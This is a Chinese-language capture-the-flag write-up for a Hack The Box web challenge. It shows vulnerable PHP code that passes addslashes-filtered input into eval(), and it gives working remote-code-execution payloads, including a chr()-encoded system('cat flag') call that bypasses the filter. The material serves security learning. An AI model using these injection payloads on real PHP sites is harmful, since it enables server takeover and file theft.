訪問網址
題目網址進來是這個畫面,頁面上有一個按鈕可以點
點下去之後倒數的時間會變化,並且網址會多出 ?format=r 的參數
直覺判斷這邊就是攻擊點了,再來看看hackthebox的附件檔案,這份應該是網站的備份原始碼。
因為檔案內容比較多,我就貼上比較重要的部分就 好了。
這份檔案的檔名是”TimeModel.php”
<?php class TimeModel { public function __construct($format) { $this->format = addslashes($format); [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ]; $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second"; } public function getTime() { eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));'); return isset($time) ? $time : 'Something went terribly wrong'; } }
1.addslashes() 函數可以在字串當中的單引號(‘) 雙引號(“) 反斜槓(\) 前面再加上一個反斜槓。
ex: $mystring="I love BMW's performance."; echo $mystring; //I love BMW's performance. echo addslashes($mystring); //I love BMW\'s performance.
漏洞利用
一開始有嘗試在 “?format=r” 把r替換成payload
但是這樣會顯示異常,看過網站原始碼推出的原因是因為返回值會和getTime()發生衝突。
所以說現在需要bypass addslashes() 或是 構建一個新的出來使用
構建一個eval()使用成功注入命令取得flag檔案內文
${eval($_GET[1])}&1=system('cat ../../flag*');
使用十六進位字母來bypass addslashes()
${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(42))} //cat flag
後記
可以透過eval()來bypass addslashes() 甚至可能存在其他層面的攻擊方式,例如sql injection。
而我也從這道題當中學到許多新東西,下面連結都是我覺得有幫助的
裡面有提到單引號和雙引號和變數解析問題,我覺得還挺有趣的!
這邊我用簡單點的概念來說明,如果看不懂得多看幾次。如果再看不懂點右上角叉叉。
$test = “hello world”;
$str = ‘test’ = a();
${a()}; = ${test};
${a()}; = “hello world”;
$test = "hello world"; function a(){ $str = 'test'; return $str; } echo "${a()}"; //hello world
參考文章
Using complex variables to bypass the addlashes function to achieve RCE